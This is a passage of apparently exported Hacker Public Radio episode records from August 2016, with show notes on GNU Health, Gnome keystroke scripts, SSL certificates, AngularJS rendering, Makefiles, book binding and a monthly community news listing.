                                                            ","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"thinkpad, laptop, linux, computers","version":0,"downloads":0,"valid":1}, {"id":2093,"date":"2016-08-10","title":"GNU Health","duration":1202,"summary":"I talk to my friend Tom and his collaborator Euan who are working on a project using GNU Health","notes":"

                                                            GNU Health

                                                            \n

                                                            This is an interview with Dr Tom Kane and his student Euan Livingstone in Tom’s office at Edinburgh Napier University (ENU) on 2016-07-06.

                                                            \n

                                                            Tom and Euan are investigating ways of running GNU Health for evaluation and demonstration purposes, using multiple Raspberry Pi systems and an Intel NUC. In particular they want to evaluate the conformity of interoperability (FHIR) standards, and are trying to build a reference implementation for decision makers who are procuring a Health and Hospital Information System.

                                                            \n

                                                            In the interview Tom used some terminology that I have provided links for here and at the end:

                                                            \n\n

                                                            I had forgotten where I’d seen Luis Falcón, originator of GNU Health, being interviewed. It was on FLOSS Weekly, as linked below.

                                                            \n

                                                            The complete notes for this episode, with pictures of the equipment, are available by clicking this link.

                                                            \n

                                                            Thanks to Tom and Euan for taking the time to talk to me.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"Interview,Linux,hospital,Hospital Information System,GNU Health,Raspberry Pi,NUC,LIMS,PACS,FHIR","version":0,"downloads":0,"valid":1}, {"id":2094,"date":"2016-08-11","title":"Custom Keystrokes for Desktop Navigation on Gnome","duration":844,"summary":"I demonstrate how to add custom keystrokes for desktop navigation on classic gnome","notes":"\n

                                                            In this episode I talk about how to set up custom keystrokes so that you can launch or switch to applications easily using the super key on your keyboard. I do this on the classic Gnome desktop environment and have not tested it on Gnome 3 or Unity to see whether it works on those.

                                                            \n\n

                                                            To create a new custom keystroke, open System Settings, then go to Keyboard and Shortcuts. Click on the plus sign to open the dialog box where you specify the name of the keystroke and the command that is to be launched when the keystroke is executed. Click \"Apply\" and then click \"Disabled\" and it will allow you to type the keystroke you want to use.

                                                            \n\n

                                                            At this point the keystroke configuration is ready, but you have to either log out of the current session and log back in, or find some other way to reload the desktop environment configuration before you can actually use the keystroke.

                                                            \n\n

                                                            I also talked about how I use my own scripts to check to see whether a program is running, and then either switch to that program if it's running or launch it if it's not. Here is an example for launching or switching to LibreOffice.

                                                            \n\n
                                                            #!/bin/bash\n\n# Look for the string "LibreOffice" on the list of \n# window titles and check the return code\n\nchecktitle=$(wmctrl -l | grep "LibreOffice" &> /dev/null ; echo $?)\n\n# If the return code is 0 that means it found the \n# string, so I use wmctrl to switch to the window \n# that has that string in the title. \n\nif [ $checktitle == 0 ] ; then\n    wmctrl -a "LibreOffice"\n    \n# If it returns a 1, then that means it did not \n# find a window with that string in it so I \n# launch the application.\n    \n  else\n    loffice &\nfi\n
                                                            \n\n

                                                            Save the script somewhere in your PATH, make it executable, and then use the script name in the command when you're setting up the keystroke.

                                                            \n","hostid":238,"series":79,"explicit":0,"license":"CC-BY-SA","tags":"Scripting, Linux, Desktop Environments, Accessibility","version":0,"downloads":0,"valid":1}, {"id":2095,"date":"2016-08-12","title":"23 - SSL Certificates - How They Work","duration":2462,"summary":"A discussion of how SSL certificates work","notes":"\n

                                                            I had the opportunity to present a talk on SSL Certificates at our local LUG, the Washtenaw Linux Users Group, which uses some material from a previous HPR episode, but may be of interest to our listeners nonetheless. Because this was a lengthy presentation I have divided it into sections. This first section explains how SSL Certificates work, and the second one will explore some of the problems that we have with SSL Certificates, and how we might address those problems. For more go to https://www.zwilnik.com/?page_id=655

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"SSL, Certificates, encryption","version":0,"downloads":0,"valid":1}, {"id":2096,"date":"2016-08-15","title":"Useful Bash functions - part 2","duration":1401,"summary":"The further development of a Bash function that may be of use in your scripts","notes":"

                                                            Useful Bash functions - part 2

                                                            \n

                                                            Overview

                                                            \n

                                                            This is the second show about Bash functions. In this one I revisit the yes_no function from the last episode and deal with some of the deficiencies of that version.

                                                            \n

                                                            As before it would be interesting to receive feedback on these versions of the function and would be great if other Bash users contributed ideas of their own.

                                                            \n

                                                            Full Notes

                                                            \n

                                                            Since the notes explaining this subject are long, they have been placed in a separate file. Click the link to see it.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"coding,Bash,script,function","version":0,"downloads":0,"valid":1}, {"id":2097,"date":"2016-08-16","title":"New Toys","duration":555,"summary":"Story of my PC hardware journey in last 20 years","notes":"

                                                            Hi HPR listeners this is Tony Hughes talking from Blackpool UK

                                                            \n

                                                            I did a show a few weeks ago about my Geek Bags but didn’t talk about the Desktop PC I use and as I’ve just upgraded to a new (used) PC I thought I would tell the story of my Desktop PC’s over the years.

                                                            \n

                                                            I was a latecomer to the world of personal computing having been at school in the Late 60’s and early 70’s when we hadn’t even got calculators, if you were lucky to be able to work out the intricacy of it you may have had use of a slide rule. Even after calculators started to be more widely used I had a lecturer at college while studying marine engineering, that was so good with his slide rule and mental calculation, he could, and would often work out equations far faster than those of us using a calculator.

                                                            \n

                                                            I first came across my first IBM clone PC back at college in 1987 while studying a control systems course this was a Intel 286 PC which the college ran CAD/CAM software on and we used it to learn how to create engineering drawings electronically. This would be the last time I used a computer until the early 1990’s when by then I had changed career and become a Registered Nurse. I was working in a residential nursing home and we had access to a Windows 3.xx PC which I would use to create templates of the clinical paperwork we used for record keeping.

                                                            \n

                                                            Around this time I met my then wife to be and she needed a PC for the University Course she was on so we obtained a used Intel 386 PC from a Friend and upgraded the Ram from 1Mb to 4Mb which cost nearly half the price we paid for the PC £120, which in 1993 was a good chunk of cash. It was a time when there was a world shortage of Ram and offices were getting burgled just for the memory in the office PC’s.

                                                            \n

                                                            While we had this PC in the house it didn’t much interest me at the time, this was pre internet days for the average user, we weren’t on line at work and the Word processing software was Dos based and I hated using it, so would do the odd things I needed to at work during my break.

                                                            \n

                                                            Move forward 5 years and Windows 95 had taken over the world and there was this wonderful new OS called Windows 98 starting to appear in the shops. In September 1998 I went back to do a Nursing Degree in my specialist area of practice and found that we were required to submit all our course work in word processed format, no long hand written assignments this time around. So I decided that I would invest in a new home PC.

                                                            \n

                                                            There were a couple of Big Box PC retailers in the UK at the time that advertised heavily in the press and on TV and I chose to go to one of these and bought a PC with the following specs:   

                                                            \n

                                                            Pentium 2 350 CPU, 128Mb Ram, 6Gig HDD, 56k modem and a DVD Rom. It also came bundled with a Scanner, Inkjet printer and software including MS Office for small Business. All for the grand total of £1400 which at the time was about a month’s take home pay so I had to pay for it with the flexible friend (my Credit Card for those of you too young to remember the ad’s)

                                                            \n

                                                            I also signed up for an AOL account to access the internet over the 56k modem, dog slow now but at the time was the only affordable way us mere mortals could afford home internet access. I remember it could take a minute or 2 to render my Bank’s web site when I started online banking in 2001 and that was using compression software to reduce the bandwidth.

                                                            \n

                                                            I used that PC to write all my college work and with the help of a couple of friends started to tinker with the PC, getting a 120 ZIP drive for it, and later adding a CD RW drive for storing documents and Photos that I’d scanned and later taken with my first digital Camera.

                                                            \n

                                                            By 2002 the PC was starting to get a bit long in the tooth and I decided it was time for an upgrade and I had a PC built for me by a local shop with P4 2.5Ghz CPU 40Gig HDD and 512Mb Ram (later upgraded to 2Gig) and a CD RW drive again later upgraded to DVD RW drive. This PC cost me half of what I paid for the P2 four years previously and was to be the last PC I bought new, all the PC’s including laptops I’ve owned since this PC have been second hand. Some given by family or friends, some built from parts of Freecycle/Freegle, and lately PC’s I’ve bought at a local computer auction in the north west of the UK.

                                                            \n

                                                            The title of this podcast is “New Toys” and so to the juicy bit, my Desktop for the last 6 years has been a Lenovo ThinkCentre 7373 Core 2 Duo PC with a 2.6Ghz CPU, 250Gig SSD, an upgrade from the 160Gig HDD it came with and 12Gig Ram also upgraded from the 4Gig it came with and requiring a bios flash to get the MB to support 16Gig. This rig has served me well but lately I have found it starting to feel its age and taking a long time to do things I now do regularly such as video and photo editing, Audio editing and virtual PC’s in virtualBox. So I decided it was time I looked around for an upgrade. As usual I was not in the market for a new PC, I could afford one but I don’t like splashing the cash unnecessarily. As luck would have it the monthly Auction catalog included a HP Compaq Elite 8300 i7 Micro Tower. I checked out the specs and liked what I read. So Monday 1st of August I took a trip to the auction and as luck would have it I became the proud owner of said PC for the princely sum of £212.80, hammer price of £190 plus commission.

                                                            \n

                                                            The full spec of the PC is: i7 3.4Ghz CPU (22nm architecture) 4 cores and 8 threads, 8Gig Ram Supports 32Gig 500Gig HDD, DVD RW drive and a card reader. Also came with a Win7 pro CoA but no installed OS.

                                                            \n

                                                            So it took me 10 minutes to install Linux Mint 18 and another 30 to complete the updates and install my software over and above the base install. It boots in just over a minute, which is only slightly slower than the old PC with an SSD, so I guess it will boot mega fast with an SSD upgrade, which is on the cards after I return from Holiday as may an upgrade to the Ram. I’ve already used some Ram from the old PC to increase to 12Gig but I need some matching 8Gig Ram to go to 16 or higher.

                                                            \n

                                                            Well that charts my PC hardware journey over the last 20 odd years it’s amazing to think that one of the Raspberry Pi 3’s I own has more processing power than most of the hardware I’ve had up to the Core 2 Duo in 2010.

                                                            \n","hostid":338,"series":57,"explicit":0,"license":"CC-BY-SA","tags":"slide rule,Intel 286,Intel 386,Windows,AOL,modem,Linux Mint,Raspberry Pi","version":0,"downloads":0,"valid":1}, {"id":2098,"date":"2016-08-17","title":"Minimal Music Site?","duration":768,"summary":"Matt King discussing the availability of an open source multimedia focused website.","notes":"

                                                            Project available https://sourceforge.net/p/minimal-music-site

                                                            \n

                                                            \nA very small responsive website for uploading content. Originally designed primarily for musicians needing an easy interface to share content. Upload files in the admin pages. Automatically saves files in directories and lists content on main pages by date. I'm sure there are many improvements that could be made.\n

                                                            ","hostid":340,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"music,sourceforge,PHP,CSS3,mandrake,ardour","version":0,"downloads":0,"valid":1}, {"id":2099,"date":"2016-08-18","title":"Dat Muzak Showz","duration":2312,"summary":"Lyle (x1101) and Thaj talk about making music on Linux","notes":"\n

                                                            Note, starting any of while doing anything else with audio is probably a poor choice. At least in Linux. Because Linux audio is still slightly Lovecraftian.

                                                            \n

                                                            Tools Thaj suggested:

                                                            \n
                                                              \n
                                                            • LMMS,
                                                            • \n
                                                            • Ardour,
                                                            • \n
                                                            • Qtractor,
                                                            • \n
                                                            • Fluidsynth,
                                                            • \n
                                                            • Hydrogen,
                                                            • \n
                                                            • Luppp,
                                                            • \n
                                                            • Guitarix,
                                                            • \n
                                                            • Rackarack
                                                            • \n
                                                            \n

                                                            https://www.youtube.com/watch?v=MPmkd0fgiLU

                                                            \n","hostid":276,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Linux, Audio","version":0,"downloads":0,"valid":1}, {"id":2100,"date":"2016-08-19","title":"Re-Enable Copy and Paste in Browsers","duration":280,"summary":"How to bypass the roadblocks implemented by JavaScript","notes":"

                                                            \nThis episode deals with the annoying, and frustrating practice of disabling copy and paste on websites through the use of javascript. \n

                                                            \n

                                                            \nFor a detailed explanation of the why please read this excellent article by Nicholas Miller\nRe-Enable Copy & Paste on Annoying Sites That Block It. In this article Nicholas explains that you can set dom.event.clipboardevents.enabled in Firefox to prevent this. \n

                                                            \n

                                                            \nIn Chrome, you are going to need to install extensions to get the same functionality. The following ones worked for me:\n

                                                            \n\n

                                                            \nhttps://www.troyhunt.com/the-cobra-effect-that-is-disabling/\n

                                                            \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"web browser,cut,paste,plugin,javascript","version":0,"downloads":0,"valid":1}, {"id":2101,"date":"2016-08-22","title":"What's on my podcatcher","duration":597,"summary":"Some of the podcasts I listen to","notes":"

                                                            A short show about the podcasts I like to listen to.

                                                            \n\n","hostid":338,"series":75,"explicit":1,"license":"CC-BY-SA","tags":"podcast,podcatcher","version":0,"downloads":0,"valid":1}, {"id":2102,"date":"2016-08-23","title":"AngularJS's ng-repeat, and the browser that shall not be named","duration":636,"summary":"A method for optimizing the rendering of items when using AngularJS's ng-repeat directive.","notes":"

                                                            Introduction

                                                            \n

                                                            At my work, we are in the process of revamping our internal call logging system. Moving from .NET and Microsoft’s ASPX pages for both the client side and back end processing, to an HTML5 based Single Page Application (SPA) using AngularJS for the client side interface with a .NET WebAPI service for the back end processing. The main page for both versions contains a list of the current days calls laid out in a table with 9 columns. Users are able to switch to a specific day’s calls by selecting a date via a calendar widget, or by moving one day at a time via previous and next day buttons. By the end of a typical day, the page will contain between 40 and 50 calls.

                                                            \n

                                                            During recent testing of the SPA client on the proprietary browser we all love to hate, or at least have a love/hate relationship with if you have to support it, I noticed that rendering of a whole days worth of calls would take seconds, freezing the UI completely. This made changing dates painful. As we reload the data any time you re-enter that page (a manual way to poll for new data until we implement either timer based polling or a push service through websockets), the page was almost unusable. The page rendered fine in both Mozilla and webkit based javascript JIT engines, but Microsoft’s engine would choke on it.

                                                            \n

                                                            After a bit of searching on “AngularJS slow rendering” and “AngularJS optimize”, I found many references about using Angular’s ng-repeat directive when rendering long lists of data (see references below for the main pages I read). I tried a couple of the methods mentioned to optimize the ng-repeat directive. I used the “track by” feature of ng-repeat to use the call’s id as the internal id of the row, so ng-repeat didn’t have to generate a hashed id for each row. I implemented Angular’s one-time binding feature to reduce the number of watches being created (reducing the test day’s number of watches from 1120 to 596), but even these two combined optimizations didn’t have enough effect to render the page in an acceptable amount of time. The next optimization I played with was using ng-repeat with the limitTo filter. This limits the number of items rendered in the list that ng-repeat is looping through. This is particularly useful combined with paging of the data. I set the limitTo option to different values to see how it affected the rendering time. I found that rendering 5 rows was fast and consistent for every day’s worth of data I viewed. From my reading, I knew if I updated the limitTo amount while keeping the array of items the same, ng-repeat would only render any un-rendered items, and not redo the whole limited list.

                                                            \n

                                                            The Code

                                                            \n
                                                            <tr ng-repeat="c in results | limitTo:displayRenderSize">
                                                            \n

                                                            Inside your directive, set an angular.$watch on the list of items to be rendered by ng-repeat. In this example the list is stored in the variable results.

                                                            \n
                                                            return {\n        scope: {\n            results: "=",\n    },\n        link: function (scope, element, attrs) {\n            scope.renderSizeIncrement = 5;\n            scope.displayRenderSize = scope.renderSizeIncrement;\n\n            scope.$watch('results', function () {\n                if (scope.results) {\n                    scope.displayRenderSize = scope.renderSizeIncrement;\n                    scope.updateDisplayRenderSize();\n                }\n            });\n            scope.updateDisplayRenderSize = function () {\n                if (scope.displayRenderSize < scope.results.length) {\n                    scope.displayRenderSize += scope.renderSizeIncrement;\n                    $timeout(scope.updateDisplayRenderSize, 0);\n                }\n            }\n        }\n    }\n}
                                                            \n

                                                            Any time the results are updated. The displayRenderSize variable is reset to render the default number of items, and the updateDisplayRenderSize function is called. This function calls itself repeatedly via angular’s $timeout service ($timeout is a wrapper for javascript’s setTimeout function). It increments the displayRenderSize variable which is being watched by the limitTo filter of the main ng-repeat. Each time the displayRenderSize variable is incremented, the ng-repeat renders the next set of items. This is repeated until all the items in the list are rendered.

                                                            \n

                                                            The magic happens because ng-repeat blocks any other javascript, which does not effect angular’s digest path, until it is finished rendering. By calling the updateDisplayRenderSize with a timeout, the function doesn’t get called again until after the next set of items is rendered. Making the $timeout delay 0, sets the function to be called as soon as possible after the ng-repeat digest cycle stops blocking. In this instance, the sum of the rendering time for parts of the list is shorter than the sum of the rendering time for all of the list at one time.

                                                            \n

                                                            Conclusion

                                                            \n

                                                            There are a couple small glitches with this solution. Scrolling can be a bit jerky as the chunk sized renders cause a series of micro UI freezes, instead of one big long one. Also, if you don’t have a fixed or 100% percent wide table layout, and you don’t have fixed column sizes, the table layout will dance a little on the screen until the columns have been filled with their largest amounts of data. This is the result of the table layout being re-calculated as more data fills it. That being said, overall, this solution works great. It moved the pause from seconds to under half a second or less—making the page go from unbearable to usable on Microsoft’s latest browser offerings.

                                                            \n

                                                            References

                                                            \n

                                                            [1] AngularJS Performance Tuning for Long Lists; Small Improvements; Tech blog; blog; viewed: 2016-08-09

                                                            \n

                                                            [2] Optimizing ng-repeat in AngularJS; Fundoo Solutions; blog; viewed: 2016-08-09

                                                            \n

                                                            [3] AngularJS: My solution to the ng-repeat performance problem; thierry nicola; blog; published: July 24, 2013; viewed: 2016-0809

                                                            \n","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"angularjs, ng-repeat, optimization, SPA","version":0,"downloads":0,"valid":1}, {"id":2103,"date":"2016-08-24","title":"DIY Book Binding","duration":636,"summary":"With no shows in the queue, Ken rushes in a show on his latest hacks","notes":"

                                                            \nI love books, dislike technology when reading about technology, so what to do when the only available option is a pdf or ebook format ?\n

                                                            \n

                                                            \nWith a hpr1480 :: Continuous Ink Supply System and 500 pages of A4 paper costing just €3, the option to print out books at home is not only possible but down right affordable. Even more so when when printing booklet format of 4 pages per physical sheet of paper.\n

                                                            \n

                                                            \nSmall books of around 100 pages/25 sheets and a long arm stapler works fine, of larger sizes you can get a Comb binding machine but I dislike the sound and feel of these solutions\n

                                                            \n

                                                            \nMy solution, a Jig Saw, some wood clamps, PVC Plumbers Glue, and some drywall/plaster board tape (pdf)\n

                                                            \n

                                                            \n\"Clamping
                                                            \nClamping the book and cut in half with a Jig Saw.\n

                                                            \n\n

                                                            \n\"Clamp
                                                            \nClamp both halves together, aligning them together on their uncut edge, and trim the cut edges to give a clean cut.\n

                                                            \n\n

                                                            \n\"Builders
                                                            \nBuilders supply stores and DIY shops carry the tape and glue.\n

                                                            \n\n

                                                            \n\"Glue
                                                            \nNow apply a liberal amount of glue to the cut edge, apply the tape and let it dry for 30 minutes. Then apply another layer of glue and fold down the excess tape. Apply at least two more applications of glue.\n

                                                            \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"book binding,comb binding,jig saw,wood clamp","version":0,"downloads":0,"valid":1}, {"id":2104,"date":"2016-08-25","title":"Basic Audio Production: Reverb","duration":1451,"summary":"A very basic description of the reverb effect","notes":"

                                                            Here is the calf reverb plugin, neat and with a nice graphic interface (it contains a few parameters that I don’t cover in the podcast, thought).

                                                            \n

                                                            https://www.audiopluginsforfree.com/calf-reverb/

                                                            \n

                                                            You can probably download it too directly from your Package Manager

                                                            ","hostid":323,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Music, Audio, Audio Production, Sound, Compression, Recording techniques, Reverb","version":0,"downloads":0,"valid":1}, {"id":2105,"date":"2016-08-26","title":"24 - SSL Certificates - Problems","duration":2189,"summary":"A discussion of the problems with SSL certificates, and some solutions","notes":"\n

                                                            I had the opportunity to present a talk on SSL Certificates at our local LUG, the Washtenaw Linux Users Group, which uses some material from a previous HPR episode, but may be of interest to our listeners nonetheless. Because this was a lengthy presentation I have divided it into sections. This is the second section which will explore some of the problems that we have with SSL Certificates, and how we might address those problems. The first section contains our description of how SSL Certificates work.

                                                            \n

                                                            For more go to https://www.zwilnik.com/?page_id=686

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"SSL, Certificates, encryption","version":0,"downloads":0,"valid":1}, {"id":2106,"date":"2016-08-29","title":"My Podcast Client","duration":1191,"summary":"A show about my podcast client","notes":"\n

                                                            This is a show about my podcast client. Apologies for any rough edges as I did it in a hurry to answer the call for more shows

                                                            \n\n

                                                            Links

                                                            \n","hostid":201,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Linux, Software, Podcasts","version":0,"downloads":0,"valid":1}, {"id":2107,"date":"2016-08-30","title":"Makefiles for Everyday Use","duration":1392,"summary":"I talk about how I use Makefiles in my Lilypond and HTML projects","notes":"

                                                            In this episode I talk about how I use Makefiles to ease the process of building complicated projects in Lilypond and HTML. You can use Makefiles to run any kinds of commands you want. It does not have to be building actual computer programs. In my case I use them to build musical scores and web pages. Keep in mind I'm not an expert on this, and I'm hoping I will make enough mistakes that it will prompt a series of follow-up episodes by people who actually know what they're talking about.

                                                            \n\n

                                                            Here's an example. This is the Makefile for my Counterpoint workbook Gratis ad Parnassum, which I wrote in 2009. Written in a combination of LaTeX\n and Lilypond, this requires very complicated and long commands to build the workbook, and I found that the only way to do this project in a sane manner was to create a Makefile that would keep track of changes in the files and only rebuild when necessary. It also meant that the only commands I would have to type were very simple, because the long command line options were all stored in the Makefile.

                                                            \n\n
                                                            SHELL=/bin/bash
                                                            FILE=workbook_main
                                                            OUTDIR=out
                                                            WEBDIR=htmlout
                                                            VIEWER=evince
                                                            BROWSER=firefox
                                                            LILYBOOK_PDF=lilypond-book --output=$(OUTDIR) --pdf $(FILE).lytex
                                                            LILYBOOK_HTML=lilypond-book --output=$(WEBDIR) $(FILE).lytex
                                                            PDF=cd $(OUTDIR) && pdflatex $(FILE)
                                                            HTML=cd $(WEBDIR) && latex2html $(FILE)
                                                            INDEX=cd $(OUTDIR) && makeindex $(FILE)
                                                            PREVIEW=$(VIEWER) $(OUTDIR)/$(FILE).pdf >& /dev/null

                                                            all: pdf web

                                                            pdf:
                                                            \t$(LILYBOOK_PDF)
                                                            \t$(PDF)
                                                            \t$(INDEX)
                                                            \t$(PDF)
                                                            \t$(PREVIEW)

                                                            web:
                                                            \t$(LILYBOOK_HTML)
                                                            \t$(HTML)
                                                            \tcp -R $(WEBDIR)/$(FILE)/ ./
                                                            \tsleep 1
                                                            \tsh html-sed-fixes.sh
                                                            \t$(BROWSER) $(FILE)/index.html &

                                                            keep: pdf
                                                            \tcp $(OUTDIR)/$(FILE).pdf gratis.pdf
                                                            \tpdftk gratis.pdf update_info gratis.info output GratisAdParnassum.pdf

                                                            clean:
                                                            \trm -rf $(OUTDIR)

                                                            web-clean:
                                                            \trm -rf $(WEBDIR)

                                                            archive:
                                                            \ttar -cvvf free-counterpoint.tar \\
                                                            \t--exclude=out/* \\
                                                            \t--exclude=*.tar \\
                                                            \t--exclude=*.zip \\
                                                            \t--exclude=htmlout/* \\
                                                            \t--exclude=workbook_main/* \\
                                                            \t--exclude=*midi \\
                                                            \t--exclude=*pdf \\
                                                            \t--exclude=*~ \\
                                                            \t../FreeCounterpoint/*
                                                            \ttar -xvvf free-counterpoint.tar
                                                            \tzip -r free-counterpoint.zip FreeCounterpoint
                                                            \trm -R FreeCounterpoint
                                                            \n\n

                                                            And here is the Makefile for my song collection called Canciones para niños, using Lilypond source files.

                                                            \n\n
                                                            SHELL=/bin/bash
                                                            piece = lorca
                                                            #CPU_CORES=`cat /proc/cpuinfo | grep -m1 "cpu cores" | sed s/".*: "//`
                                                            LILY_CMD = lilypond -ddelete-intermediate-files \\
                                                                                -dno-point-and-click #-djob-count=$(CPU_CORES)

                                                            notes = \\
                                                            cancioncilla.ily \\
                                                            cantada.ily \\
                                                            caracola.ily \\
                                                            china.ily \\
                                                            lagarto.ily \\
                                                            nana.ily \\
                                                            paisaje.ily \\
                                                            remanso.ily

                                                            .SUFFIXES: .ly .ily .pdf .midi

                                                            #CURDIR = $(shell pwd)
                                                            VPATH = $(CURDIR)/Scores $(CURDIR)/PDF $(CURDIR)/Parts $(CURDIR)/Notes

                                                            %.ly: %.ily
                                                            %.pdf %.midi:  %.ly 
                                                            \t$(LILY_CMD) $<
                                                            \tmv *.pdf PDF/
                                                            \tmv *.midi MIDI/

                                                            $(piece).pdf: $(notes) 

                                                            cancioncilla.pdf: cancioncilla.ly cancioncilla.ily
                                                            cantada.pdf: cantada.ly cantada.ily
                                                            caracola.pdf: caracola.ly caracola.ily
                                                            china.pdf: china.ly china.ily
                                                            lagarto.pdf: lagarto.ly lagarto.ily
                                                            nana.pdf: nana.ly nana.ily
                                                            paisaje.pdf: paisaje.ly paisaje.ily
                                                            remanso.pdf: remanso.ly remanso.ily

                                                            .PHONY: score
                                                            score: $(piece).pdf

                                                            keep: score
                                                            \tcp $(CURDIR)/PDF/$(piece).pdf $(CURDIR)/CancionesParaNinos.pdf

                                                            archive:
                                                            \ttar -cvvf lorca.tar \\
                                                            \t--exclude=*.pdf \\
                                                            \t--exclude=*.midi \\
                                                            \t--exclude=*~ \\
                                                            \t../Canciones/*
                                                            \ttar -xvvf lorca.tar
                                                            \tzip -r lorca.zip Canciones
                                                            \trm -R Canciones
                                                            \n\n

                                                            Links

                                                            \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Automation, Makefiles, Scripting, Programming","version":0,"downloads":0,"valid":1}, {"id":2108,"date":"2016-08-31","title":"Changing the Oil on My Wife's Car","duration":1941,"summary":"Listen and enjoy as I change the oil on my wife's Honda CR-V","notes":"

                                                            Since people don’t seem to be adding enough shows, you’re going to be subjected to listening along while I change the oil on the car. This might be fascinating or it might be boring, but in either case I hope it inspires someone else to start uploading more shows. Incidentally, I recorded this whole thing on my phone, I’m doing these show notes on my phone, and am going to upload it from my phone as well, without adding the intro and outro music, showing just how easy it really is (as the saying goes).

                                                            ","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"DIY, automotive, car maintenance ","version":0,"downloads":0,"valid":1}, {"id":2109,"date":"2016-09-01","title":"Hacking my inner ear","duration":925,"summary":"How I discovered some new things about how my inner ear works and how to stop falling over","notes":"

                                                            Hacking my inner ear

                                                            \n

                                                            In April 2015 I suddenly found myself getting dizzy as I bent down – to the extent where I actually fell over at one point. I went to see a doctor but didn’t get a diagnosis.

                                                            \n

                                                            A medical student I know suggested it might be BPPV - Benign Paroxysmal Positional Vertigo, and with that in mind I researched it and found what turned out to be a cure.

                                                            \n

                                                            See the full notes for more details.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"BPPV, inner ear, vestibular system","version":0,"downloads":0,"valid":1}, {"id":2110,"date":"2016-09-02","title":"Overhauling a Bicycle Hub","duration":2715,"summary":"Listen and enjoy as I overhaul the rear hub of my 1985 Schwinn. ","notes":"

                                                            I record and talk while overhauling the rear hub of my 1985 Schwinn road bike. I wasn’t able to take pictures because my hands were really greasy, so if this interests you and you want to see how it’s done, search the web or YouTube for instructional materials. This episode was recorded on my phone with the $2 lapel microphone, uploaded straight to the HPR website. Easy!

                                                            \n","hostid":238,"series":115,"explicit":1,"license":"CC-BY-SA","tags":"DIY, bicycle maintenance, bike maintenance, bicycles ","version":0,"downloads":0,"valid":1}, {"id":2111,"date":"2016-09-05","title":"HPR Community News for August 2016","duration":5495,"summary":"Dave and Ken discuss the last month, why we need shows and the correct way to hang toilet paper.","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n mattkingusa.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2086Mon2016-08-01HPR Community News for July 2016HPR Volunteers
                                                            2087Tue2016-08-02Magazines I read Part 2Tony Hughes AKA TonyH1212
                                                            2088Wed2016-08-03How my wife's grandma got me into linux.Knightwise
                                                            2089Thu2016-08-04Solving a blinkstick python problemMrX
                                                            2090Fri2016-08-05A Docker DialogThaj Sara
                                                            2091Mon2016-08-08Everyday Unix/Linux Tools for data processingMr. Young
                                                            2092Tue2016-08-09My new loveswift110
                                                            2093Wed2016-08-10GNU HealthDave Morriss
                                                            2094Thu2016-08-11Custom Keystrokes for Desktop Navigation on GnomeJon Kulp
                                                            2095Fri2016-08-1223 - SSL Certificates - How They WorkAhuka
                                                            2096Mon2016-08-15Useful Bash functions - part 2Dave Morriss
                                                            2097Tue2016-08-16New ToysTony Hughes AKA TonyH1212
                                                            2098Wed2016-08-17Minimal Music Site?mattkingusa
                                                            2099Thu2016-08-18Dat Muzak Showzx1101
                                                            2100Fri2016-08-19Re-Enable Copy and Paste in BrowsersKen Fallon
                                                            2101Mon2016-08-22What's on my podcatcherTony Hughes AKA TonyH1212
                                                            2102Tue2016-08-23AngularJS's ng-repeat, and the browser that shall not be namedRho`n
                                                            2103Wed2016-08-24DIY Book BindingKen Fallon
                                                            2104Thu2016-08-25Basic Audio Production: ReverbNacho Jordi
                                                            2105Fri2016-08-2624 - SSL Certificates - ProblemsAhuka
                                                            2106Mon2016-08-29My Podcast ClientMrX
                                                            2107Tue2016-08-30Makefiles for Everyday UseJon Kulp
                                                            2108Wed2016-08-31Changing the Oil on My Wife's CarJon Kulp
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the Mail List which is open to all\nHPR listeners and contributors. The discussions are open and available on the\nGmane\narchive and the Mailman archive.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2016-August/thread.html\n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 32 comments in total.

                                                            \n

                                                            There are 8 comments on 4 previous shows:

                                                            \n
                                                              \n
                                                            • hpr2027 (2016-05-10) \"Old Engineers and New Engineers\" by Gabriel Evenfire.
                                                            • \n\n
                                                            • \n
                                                                \n
                                                              • Comment 4: Alpha32 on 2016-08-03: \"Excellent show\"
                                                              • \n

                                                              \n
                                                            • \n\n
                                                            • hpr2066 (2016-07-04) \"HPR Community News for June 2016\" by HPR Volunteers.
                                                            • \n\n
                                                            • \n
                                                                \n
